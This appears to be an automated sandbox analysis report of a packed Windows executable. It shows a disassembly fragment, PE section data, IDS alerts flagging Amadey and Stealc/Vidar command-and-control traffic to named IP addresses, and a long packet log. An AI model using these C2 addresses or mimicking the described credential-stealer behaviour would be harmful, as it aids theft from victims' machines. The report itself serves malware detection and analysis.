xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FDA11066FBCh
dec ebx
js 00007FDA11066FB3h
jne 00007FDA11066FA1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FDA11066FCCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FDA11066FAAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FDA11066FE3h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x249000	9e7610be8960278faa018c329b1dad58	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zvrtkrqd	0x24c000	0x2a8000	0x2a7200	9730daab069e2c025478c1e4684aa0cd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lhimxxtc	0x4f4000	0x1000	0x400	92a02598c34fd9c1ba51566efdaa6562	False	0.7822265625	data	6.150018788338175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4f5000	0x3000	0x2200	23efe295d58a50b5c52cc7a40add8226	False	0.3704044117647059	DOS executable (COM)	3.9831564969243876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-07T00:15:03.372989+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50029	TCP
2024-12-07T00:15:15.772509+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-07T00:15:16.215109+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-07T00:15:16.338855+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-12-07T00:15:16.659208+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-07T00:15:16.783079+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-12-07T00:15:18.382796+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-07T00:15:19.203341+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-07T00:15:45.765851+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:47.809889+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:49.169306+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:50.252724+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:53.746318+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:15:54.807200+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-07T00:16:01.122081+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49869	185.215.113.16	80	TCP
2024-12-07T00:17:05.823370+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50024	185.215.113.43	80	TCP
2024-12-07T00:17:11.373050+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50033	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 00:15:03.372988939 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.373065948 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.373224974 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.375354052 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.375487089 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.375546932 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.383790970 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.383888006 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.383932114 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.392179966 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.392339945 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.392390013 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.400613070 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.400693893 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.400742054 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.408909082 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.425039053 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.425100088 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.425235033 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.425287008 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.425359964 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.425491095 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:03.425503016 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.546727896 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.546782017 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.546792984 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.546801090 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.549005985 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:03.597673893 CET	443	49707	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:03.637861013 CET	49707	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:03.829574108 CET	443	49707	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:03.872242928 CET	49707	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:04.021502972 CET	443	49707	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:04.022384882 CET	49707	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:04.127703905 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.127722025 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.127798080 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:04.129771948 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.129833937 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.129884958 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:04.138144016 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.138281107 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.138328075 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:04.143985987 CET	443	49707	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:04.146576881 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.146625042 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.146672964 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:04.154898882 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.154970884 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.155019045 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:04.163255930 CET	443	49706	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:04.215931892 CET	49706	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:04.567367077 CET	443	49707	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:04.622226954 CET	49707	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:05.134103060 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:05.134138107 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:05.134243011 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:05.134778023 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:05.134789944 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:05.277637959 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:05.277735949 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:05.302941084 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:05.302967072 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:05.303175926 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:05.305617094 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:05.305689096 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:05.305728912 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:05.787062883 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:05.787117004 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:05.787190914 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:05.791089058 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:05.791155100 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:05.791217089 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:05.792650938 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:05.792670965 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:05.792743921 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:05.792757988 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:06.115627050 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:06.115653992 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:06.115696907 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:06.115763903 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:06.115792036 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:06.116682053 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:06.116682053 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:06.116827965 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:06.116858006 CET	443	49708	20.231.128.66	192.168.2.6
Dec 7, 2024 00:15:06.116904020 CET	49708	443	192.168.2.6	20.231.128.66
Dec 7, 2024 00:15:06.247200966 CET	49674	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:06.247205019 CET	49673	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:06.575448036 CET	49672	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:07.372963905 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.373186111 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.378460884 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.378474951 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.378849030 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.381014109 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.381114006 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.381119967 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.381361008 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.427330971 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.556190968 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.556212902 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.556279898 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.556330919 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.591851950 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.591871023 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.591871977 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.591896057 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.592211962 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.592223883 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.592266083 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.592267036 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.594049931 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.594062090 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:07.594090939 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.594098091 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:07.925261974 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.925388098 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:07.925451040 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.925591946 CET	49709	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:07.925612926 CET	443	49709	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:08.077039003 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.077063084 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.077120066 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.077142954 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.077157021 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.077188015 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.078624964 CET	49712	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.078640938 CET	443	49712	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.257041931 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.257061005 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.257126093 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.257139921 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.257160902 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.257186890 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.257210970 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.258853912 CET	49711	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:08.258867979 CET	443	49711	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:08.544998884 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:08.545053959 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:08.545180082 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:08.545749903 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:08.545763969 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:10.768570900 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:10.768697023 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:10.772547960 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:10.772562027 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:10.772839069 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:10.777631998 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:10.777807951 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:10.777807951 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:10.777813911 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:10.819338083 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:11.322654009 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:11.323019028 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:11.323074102 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:11.331854105 CET	49714	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:11.331873894 CET	443	49714	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:12.016009092 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:12.135998964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:12.136106014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:12.136842012 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:12.256552935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:12.655332088 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:12.655369043 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:12.655457973 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:12.655889988 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:12.655905962 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.374308109 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.374382019 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:14.379992962 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:14.380012989 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.380270958 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.435480118 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:14.449934006 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:14.491331100 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849498987 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849522114 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849528074 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849555016 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849570036 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849580050 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849601030 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:14.849616051 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:14.849669933 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:14.849669933 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.033653975 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.033677101 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.033750057 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.033766985 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.033791065 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.033857107 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.074204922 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.074219942 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.074305058 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.074315071 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.074379921 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.074379921 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.199546099 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.199568987 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.199625969 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.199637890 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.199695110 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.229084015 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.229103088 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.229172945 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.229183912 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.229214907 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.229252100 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.251889944 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.251907110 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.252012968 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.252023935 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.252063990 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.272207975 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.272222996 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.272361994 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.272370100 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.272476912 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.275589943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:15.275636911 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:15.284545898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:15.389447927 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.389471054 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.389614105 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.389628887 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.389745951 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.403073072 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.403090000 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.403194904 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.403203964 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.403259039 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.404181957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:15.417490005 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.417512894 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.417587042 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.417594910 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.417627096 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.417627096 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.431755066 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.431777000 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.431864977 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.431883097 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.431934118 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.444174051 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.444194078 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.444287062 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.444295883 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.444345951 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.459496021 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.459515095 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.459566116 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.459575891 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.459609985 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.459636927 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.463589907 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.463653088 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.463685989 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.463713884 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.463793039 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.463814020 CET	443	49716	13.107.246.63	192.168.2.6
